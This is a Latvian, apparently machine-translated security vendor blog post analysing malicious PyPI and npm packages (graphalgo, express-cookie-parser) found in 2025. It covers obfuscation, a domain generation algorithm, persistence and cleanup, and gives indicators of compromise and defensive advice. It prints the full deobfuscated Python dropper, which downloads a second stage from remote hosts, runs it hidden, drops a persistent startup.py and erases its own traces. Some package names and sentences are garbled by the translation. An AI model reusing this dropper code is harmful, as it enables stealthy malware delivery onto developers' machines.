Programmatūras piegādes ķēdes uzbrukumi 2025. gadā — ļaunprātīgas pakotnes — ļaunprātīgas Python pakotnes — ļaunprātīgas npm pakotnes

Tuvāk apskatot programmatūras piegādes ķēdes uzbrukumus 2025. gadā: PyPI un npm kampaņu salīdzinājums

Xygeni nesen novēroja satraucošu modeli programmatūras piegādes ķēdes uzbrukumu ainavā 2025. gadā., kas parādās divos populāros pakotņu pārvaldniekos: PyPI un npmKā daļa no mūsu pastāvīgajiem draudu izlūkošanas centieniem,Xygeni ļaunprogrammatūras agrīnā brīdināšana (MEW) rīks identificēja atšķirīgu, bet metodoloģiski līdzīgu ļaunprātīgas pakotnes gadījumu, kas iepriekš augšupielādēts citā reģistrā. Šis gadījums izceļ, kā apdraudējumu dalībnieki attīstās un atkārtoti izmanto uzbrukuma metodes dažādās ekosistēmās, īpaši izmantojot ļaunprātīgas Python pakotnes un ļaunprātīgas npm pakotnes, kas palielina ļaunprātīgu pakotņu iefiltrēšanās risku atvērtā pirmkoda piegādes ķēdēs.

Ksigeni MEW: Līdzību atklāšana

Xygeni MEW rīks ir izstrādāts, lai atklātu un atzīmētu ļaunprātīgas pakotnes, īpaši tās, kas saistītas ar programmatūras piegādes ķēdes uzbrukumiem 2025. gadā, tiklīdz tās tiek publicētas atvērtā pirmkoda reģistros. Tas darbojas, analizējot jaunas pakotnes, lai konstatētu aizdomīgu uzvedību.

Šajā gadījumā tā identificēja divus ļaunprātīgas Python pakotnes (graphalgo uz PyPI) un ļaunprātīgas npm pakotnes (express-cookie-parser uz npm).

Ļaunprātīgas Python un npm pakotnes programmatūras piegādes ķēdes uzbrukumos (2025. gads)

Izpētīsim kopīgās īpašības, kas aktivizēja mūsu brīdinājumus:

Pareizrakstība

Viņi abi mēģināja atdarināt populāras esošas pakotnes.

  • grafalgo (PyPI):"Python pakotne grafiku un tīklu izveidei un manipulēšanai.Augšupielādējis lietotājs ar vārdu “larrytech” 2025. gada 13. jūnijā šī pakotne tika prezentēta kā PyPi alternatīva sākotnējam nekaitīgajam graphalgo projektam, kas vēlāk tika pārdēvēts par graphdict.
  • ekspress sīkfailu parsētājs (npm)Šī pakotne atdarināja labi zināmo sīkfailu parsētāja pakotni, pat atspoguļojot tās README.md. Šāda personības uzdošanās ir klasiska taktika, lai izmantotu esošo uzticību.

Aptumšošana kā pirmā aizsardzības līnija

Abas pakotnes slēpa ļaunprātīgo kodu sākotnējos failos. Piemēram, grafalgo, apmulsinātais kods tika atrasts iekšā /utils/load_libraries.py. Gadījumā, ja ekspress sīkfailu parsētājs, cookie-loader.min.js saturēja apmulsināto lietderīgo slodzi.

Šis sākotnējais slēpšanas slānis parasti tiek izmantots, lai kavētu nejaušu pārbaudi un statisko analīzi. Slēpšana bija diezgan vienkārša: atkārtota ZLib saspiešana plus Base64 kodējums. Šāda veida slēpšana skaidri norāda, ka programmatūra cenšas slēpt savu darbību. Kopā ar citiem pierādījumiem tas ļāva Xygeni MEW klasificēt pakotnes kā potenciālu ļaunprogrammatūru. Apstiprināšanas posmā mūsu recenzenti nekavējoties sagatavoja deobfuscation skriptu, kas atklāja acīmredzami ļaunprātīgo nomešanas posmu.

Daudzpakāpju lietderīgās slodzes piegāde un koplietots sākuma punkts

Abas paketes darbojās kā sākotnējās “pilinātāji", sagatavojot augsni reālajai kravai. Viņiem bija kopīgs ārējs "sēkla"Faila URL:"
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

Šis identiskais ārējais sākuma fails ir spēcīga norāde uz kopīgu apdraudējuma dalībnieku. Interesanti, ka šī sākuma faila saturs, šķiet, ir vienkārši vides mainīgie (piemēram, JWT_SECRET, PORT), kas potenciāli var maldināt pārbaudi attiecībā uz tā faktisko funkciju.

Dinamiska C2 izšķirtspēja ar DGA

Šajās ļaunprātīgajās pakotnēs novērota sarežģīta taktika ir domēna ģenerēšanas algoritma (DGA) izmantošana, lai dinamiski atrisinātu vadības un kontroles (C2) serveri. Šī metode, kas bieži tika izmantota progresīvos programmatūras piegādes ķēdes uzbrukumos 2025. gadā, balstās uz SHA256 jaucējkodu, kas atvasināts no sākotnējā faila satura, apvienojumā ar citām cietkodētām vērtībām. Tādējādi C2 infrastruktūra bieži mainās, padarot tradicionālo melno sarakstu daudz mazāk efektīvu. Šajā gadījumā npm variants izmantoja fiksētu vērtību 496AAC7E kā daļa no tās DGA loģikas.

Noturības nodrošināšana

Abi uzbrucēji centās nodibināt ilgstošu klātbūtni skartajās sistēmās. Viņu stratēģija ietvēra faila izmešanu, startup.py (PyPi) vai startup.js (npm) kopējās Google Chrome lietotāju datu direktorijās dažādās operētājsistēmās (Windows, Linux, macOS).

Pēcizpildes tīrīšana

Lai samazinātu pēdas, abi ļaunprātīgie skripti veica tīrīšanas darbības. Tas ietvēra sākotnējo nomešanas failu dzēšanu (load_libraries.py, cookie-loader.min.js) un likumīgu pakotņu failu modificēšanu (__init__.py, index.js), lai noņemtu atsauces uz tagad izdzēstajiem komponentiem.

Ļaunprātīgu Python un npm pakotņu kompromitācijas indikatori

  • PyPI pakotnegraphalgo (publicējis larrytech, 2025. gada 13. jūnijā)
  • npm pakotne: express-cookie-parser (īpaši 1.4.12. versija)
  • Piekļuve koplietotajam sākuma URL

https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

  • Pastāvīgie failu nosaukumi: startup.py (Python) startup.js (JavaScript)
  • Bieži sastopamie pastāvīgie ceļi (atkarīgi no operētājsistēmas)Google Chrome lietotāju datu direktorijos (piemēram, AppData\Local\Google\Chrome\UserData\Scripts\ operētājsistēmā Windows, ~/.config/google-chrome/Scripts/ operētājsistēmās Linux utt.).

Kā aizsargāties pret ļaunprātīgām pakotnēm programmatūras piegādes ķēdes uzbrukumos 2025. gadā

Ieteicamā pieeja izstrādātājiem

Šis incidents kalpo kā vērtīgs gadījuma izpētes piemērs mainīgajā programmatūras piegādes ķēdes uzbrukumu apdraudējumu ainavā 2025. gadā. Tas izceļ, kā ļaunprātīgas Python pakotnes un ļaunprātīgas npm pakotnes var iekļūt uzticamās ekosistēmās, bieži vien izvairoties no atklāšanas, līdz ir par vēlu. Tāpēc agrīna atklāšana, viedie rīki un proaktīva sistēmas higiēna tagad ir būtiskas jebkuras drošas DevOps darbplūsmas sastāvdaļas. Izstrādātājiem ieteicams apsvērt sekojošo:

Atkarību pārskats

Ja jūsu projektos ir iekļauts grafalgo or ekspress sīkfailu parsētājs, būtu prātīgi turpināt to noņemšanu.

  • PyPI gadījumā: pip uninstall graphalgo
  • Npm: npm uninstall express-cookie-parser

Sistēmas higiēna

Apsveriet iespēju veikt visaptverošu sistēmas skenēšanu. Ieteicams arī manuāli pārbaudīt bieži lietoto Chrome lietotāju datu direktoriju ceļus, lai atrastu negaidītus startup.py or startup.js faili.

Proaktīvi drošības pasākumi

  • Novērtējiet jaunās atkarībasIzveidojiet rutīnu, lai pirms integrācijas rūpīgi novērtētu jaunas pakotnes, koncentrējoties uz tām, kas nāk no nepazīstamiem izdevējiem.
  • Integrēt drošības rīkusRīki, piemēram, Xygeni MEW, kā arī citi programmatūras kompozīcijas analīzes rīki (SCA) risinājumi var nodrošināt kritiski svarīgu aizsardzības slāni, identificējot aizdomīgu uzvedību un ievainojamības.
  • Mazākā privilēģijaIzstrādes vides darbība, ievērojot mazāko privilēģiju principu, var palīdzēt ierobežot kompromitēšanas iespējamo ietekmi.
  • Tīkla izpratneIzejošās tīkla datplūsmas uzraudzība, meklējot neparastus savienojumus, dažkārt var atklāt DGA ģenerētu C2 saziņu.

Galvenās sastāvdaļas load_libraries.py (no graphalgo)

import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request

url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()

python_path = sys.executable

def download_remote_content(url, output_path):
    try:
        req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
        with urlopen(req) as response, open(output_path, "wb") as out_file:
            if response.status != 200:
                print(f"Failed to download the file. Status code: {response.status}")
                return False
            data = response.read()
            out_file.write(data)
        return True
    except Exception as e:
        print(f"Download failed: {e}")
        return False

def run_process(path_to_script, params=[]):
    if sys.platform.startswith("win"):
        creationflags = subprocess.CREATE_NO_WINDOW
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            creationflags=creationflags,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL
        )
    else:
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            start_new_session=True,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            close_fds=True
        )


def get_output_file_path():
    py_file_path = None

    home_dir = os.path.expanduser("~")
    platform = os.sys.platform

    if platform.startswith("win"):
        py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
    elif platform.startswith("linux"):
        py_file_path = os.path.join(home_dir, ".config", "google-chrome")
    elif platform == "darwin":
        py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")

    if not os.path.exists(py_file_path):
        if platform.startswith("win"):
            py_file_path = os.path.join(home_dir, "AppData", "Local")
        elif platform.startswith("linux"):
            py_file_path = os.path.join(home_dir, ".config")
        elif platform == "darwin":
            py_file_path = os.path.join(home_dir, "Library", "Application Support")

    # Ensure base directory exists
    os.makedirs(py_file_path, exist_ok=True)

    script_path = os.path.join(py_file_path, "Scripts")
    os.makedirs(script_path, exist_ok=True)

    py_file_path = os.path.join(script_path, "startup.py")
    return py_file_path

def remove_self():
    # Remove this script file
    os.remove(__file__)

    # Remove \'graph_settings.py\' in the same directory
    graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
    if os.path.exists(graph_settings_path):
        os.remove(graph_settings_path)

    # Modify \'../classes/digraph.py\' if it exists
    graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
    graph_file_path = os.path.abspath(graph_file_path)  # Normalize path

    init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
    init_file_path = os.path.abspath(init_file_path) # Normalize path

    # replace content of the __init__.py file
    if os.path.exists(init_file_path):
        with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("from networkx.utils.graph_settings import *", "") \\
            .replace("from networkx.utils.load_libraries import *", "")

        with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)        

    # replace content of the __init__.py file
    if os.path.exists(graph_file_path):
        with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\

        with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)

def simple_shift_encrypt(text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])

    return base64.encode(encrypted_bytes).decode()

def simple_shift_decrypt(encoded_text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = base64.b64decode(encoded_text)
    decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])

    return decrypted

def load_libraries(key):
    max_retry_count = 3
    output_file_path = get_output_file_path()
    encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"

    for _ in range(max_retry_count):
        if not download_remote_content(remove_url, output_file_path):
            time.sleep(2)
            continue

        download_url = ""
        with open(output_file_path, "rb") as f:
            file_content = f.read()
            sha256_hash = hashlib.sha256()
            sha256_hash.update(file_content + key.encode())
            password = sha256_hash.digest()

            download_url = simple_shift_decrypt(encoded, password)
       
        if not download_url or not download_remote_content(download_url, output_file_path):
            time.sleep(2)
            continue

        os.chmod(output_file_path, 0o755)
        run_process(output_file_path)

        time.sleep(1)
        remove_self()
        break

if __name__ == "__main__":
    if len(sys.argv) >= 2:
        load_libraries(sys.argv[1])

  • download_remote_content(): Apstrādā failu iegūšanu no norādītajiem URL.
  • run_process(): Izpilda ārējos Python skriptus atdalīti, apspiežot izvadi, lai saglabātu diskrētumu.
  • get_output_file_path(): Nosaka ideālo sistēmas atrašanās vietu pastāvīgajam startup.py failam.
  • remove_self(): Organizē sākotnējo ļaunprātīgo failu un pakotnes modifikāciju tīrīšanu pēc izpildes.
  • simple_shift_encrypt() / simple_shift_decrypt()Pielāgotas kriptogrāfiskās funkcijas sakaru kanālu aizsegšanai, kas ir ļoti svarīgas DGA ieviešanai.
  • load_libraries()Centrālā funkcija, kas koordinē visu daudzpakāpju procesu, sākot no sākotnējās lejupielādes līdz galīgajai vērtuma izpildei un tīrīšanai.

Atskaņas

Tāpat kā ar citām MEW identificētajām potenciāli ļaunprātīgajām pakotnēm, atkarību ugunsmūris nekavējoties aizsargāja lietotājus, kuri iekļautu šīs ļaunprātīgās pakotnes savās atkarībās. Pēc apstiprināšanas mēs ievērojām abu reģistru paziņošanas procedūras, kas pēc pārskatīšanas noņēma abas pakotnes.

sca-tools-software-composition-analysis-tools
Prioritizējiet, novērsiet un aizsargājiet savus programmatūras riskus
Iegūstiet savu bezmaksas kontu.
Nepieciešama kredītkarte.

Nodrošiniet programmatūras izstrādi un piegādi

ar Xygeni produktu komplektu